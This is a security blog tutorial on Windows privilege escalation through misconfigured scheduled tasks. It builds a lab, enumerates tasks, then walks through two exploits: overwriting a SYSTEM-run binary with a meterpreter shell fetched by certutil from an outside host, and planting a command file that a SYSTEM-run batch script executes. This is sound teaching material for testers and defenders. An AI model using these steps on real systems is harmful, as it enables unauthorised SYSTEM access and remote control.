Amonsec

It's all about security.

A simple blog where you can find different things about digital security.

Common Windows Misconfigurations: Scheduled Tasks

System configuration

If you want to reproduce the two ‘exploitation case’ that I will present in this blog post you can follow this section to create two misconfigured scheduled tasks.

First we create directories.

mkdir "C:\ScheduledTasks\Task1"
mkdir "C:\ScheduledTasks\Task2"
mkdir "C:\ScheduledTasks\Task3"

The first task and last task will execute a binary and the second task will execute a BAT file.

copy C:\Windows\System32\snmptrap.exe "C:\ScheduledTasks\Task1\something.exe"
echo for /F "tokens=*" %%i in ('type "C:\ScheduledTasks\Task2\.secret\file.txt"') do cmd.exe /C %%i  > C:\ScheduledTasks\Task2\something.bat
copy C:\Windows\System32\snmptrap.exe "C:\ScheduledTasks\Task3\something.exe"

We disallow the lowuser user the write access to the C:\ScheduledTasks\Task1\ and C:\ScheduledTasks\Task2\ folders and the write and delete access to the C:\ScheduledTasks\Task2\something.bat file.

icacls "C:\ScheduledTasks\Task2" /deny lowuser:(W)
icacls "C:\ScheduledTasks\Task2\something.bat" /deny lowuser:(W,D)
icacls "C:\ScheduledTasks\Task3" /deny lowuser:(W)

Now, we can create three scheduled tasks with the schtasks command. Note, for those who want to learn how to use schtask you can read this Microsoft page. Moreover, the last task will be executed with lowuser privilege instead of NT Authority\System.

schtasks /create /ru "NT AUTHORITY\SYSTEM" /rp "" /tn "\Microsoft\AdminTasks\Task1" /tr "C:\ScheduledTasks\Task1\something.exe" /sc minute /mo 2
schtasks /create /ru "NT AUTHORITY\SYSTEM" /rp "" /tn "\Microsoft\AdminTasks\Task2" /tr "C:\ScheduledTasks\Task2\something.bat" /sc minute /mo 2
schtasks /create /ru "lowuser" /rp "" /tn "\Microsoft\AdminTasks\Task3" /tr "C:\ScheduledTasks\Task3\something.bat" /sc minute /mo 2

We’re now ready.

 

windows scheduled tasks & MISCONFIGURATION

According to Microsoft:

“The Task Scheduler enables you to automatically perform routine tasks on a chosen computer. The Task Scheduler does this by monitoring whatever criteria you choose to initiate the tasks (referred to as triggers) and then executing the tasks when the criteria is met.“

Comparable to cron jobs in Unix system, the Task Scheduler will execute an action for a defined trigger.

The different actions that the Task Scheduler can archive are:

  • Firing a COM handler

  • Executing a binary

  • Send an email

  • Showing a message box

The different trigger that can be used to execute an action are:

  • Time-based

    • Time trigger

    • Daily trigger

    • Weekly trigger

    • Monthly trigger

  • Event-based

    • IDLE trigger

    • Boot trigger

    • Registration trigger

    • Logon trigger

    • Session state change trigger

Note, a task can be fired with multiple triggers.

A simple example would be; I want a task that will execute a script every time a user log in the system or to pop a message box every months to remember that I have to change my passwords.

Described like that, it’s not really dangerous, but the problem is that in most cases tasks are executed with high privileges, by NT Authority\System. So, if the action is to execute a binary and if the binary can be overwritten with an arbitrary one, that could lead to a privilege escalation.

Documentation & reference: https://docs.microsoft.com/en-us/windows/desktop/taskschd/task-scheduler-start-page

 

Tasks Enumeration

In order to get all scheduled tasks, we can use the DOS command schtask, documented here.

schtasks /query /fo LIST 2>nul
DOS_list_scheduled_tasks.PNG

Or, we can use the Powershell cmdlet Get-ScheduledTask, documented here.

Get-ScheduledTask
Powershel_cmdlet_get-scheduled_task.PNG

From here, we have a lot of tasks, so let’s work a bit with PowerShell to get a more relevant output. First, we can remove all tasks located under the /Microsoft/Windows/ path just because, most of the time, it’s the default scheduled tasks.

Get-ScheduledTask | Select * | ? {$_.TaskPath -notlike "\Microsoft\Windows\*"} | Format-Table -Property State, Actions, Date, TaskPath, TaskName, @{Name="User";Expression={$_.Principal.userID}}
Powershell_filterout_Windows.PNG

Awesome, we have five tasks, now we can remove the tasks who are executed with the same privilege as our lowuser user.

Get-ScheduledTask | Select * | ? {($_.TaskPath -notlike "\Microsoft\Windows\*") -And ($_.Principal.UserId -notlike "*$env:UserName*")} | Format-Table -Property State, Actions, Date, Task
Path, TaskName, @{Name="User";Expression={$_.Principal.userID}}
Powershell_get_all_interesting_system_tasks.PNG

Finally, we have two interesting task, that are worth to analyse, Task1 and Task2.

 

Exploit case: TASK1

Let’s see how we can exploit this first scheduled task to gain more privileges on this system.

We can use this following PowerShell commands to get the interval of execution of the Task.

$task= Get-ScheduledTask -TaskName Task1
ForEach ($triger in $task.Triggers) { echo $triger.Repetition.Interval}
task1_interval.PNG

We can find the actions of this task with these commands.

$task= Get-ScheduledTask -TaskName Task1
ForEach ($action in $task.Actions) { Select $action.Execute}
task1_actions.PNG

So, according to the outputs, Task1 is executing the C:\ScheduledTasks\Task1\something.exe binary every two minutes. As a low privilege user we have to check if we can overwrite this file.

The awesome accesschk.exe tool can be used.

C:\Toolbox\accesschk64.exe -accepteula -wv lowuser C:\ScheduledTasks\Task1\something.exe
task1_accesschk.PNG

We have write permission, so, we can replace the original something.exe binary by a meterpreter shell.

certutil -urlcache -split -f "http://192.168.230.130:8080/something.exe" C:\ScheduledTasks\Task1\something.exe
task1_download_file.PNG

After max two minutes we gain a meterpreter session with SYSTEM privileges.

 

Exploit case: TASK2

Same as previously, let’s see the interval and the action executed by Task2.

$task = Get-ScheduledTask -TaskName Task2
ForEach ($triger in $task.Triggers) { echo $triger.Repetition.Interval}
ForEach ($action in $task.Actions) { echo $action.Execute }

Interesting, a bat file is executed.

something_bat_file.PNG

According to what we have so far, every two minutes Task2 will execute C:\ScheduledTasks\Task2\something.bat, that will execute in turn every lines of the C:\ScheduledTasks\Task2\.secret\file.txt file.

Fortunately for us, the lowuser user have write access to this directory.

C:\Toolbox\accesschk64.exe -accepteula -dwv lowuser C:\ScheduledTasks\Task2\
task2_accesschk.PNG

So, we can create a new directory named “.secret” and add the command that we want to execute as SYSTEM in the “file.txt” file.

mkdir C:\ScheduledTasks\Task2\.secret
echo "C:\Windows\System32\spool\drivers\color\legit.exe" > C:\ScheduledTasks\Task2\.secret\file.txt
task2_create_file.PNG

After max two minutes we have a SYSTEM shell.

 
 

break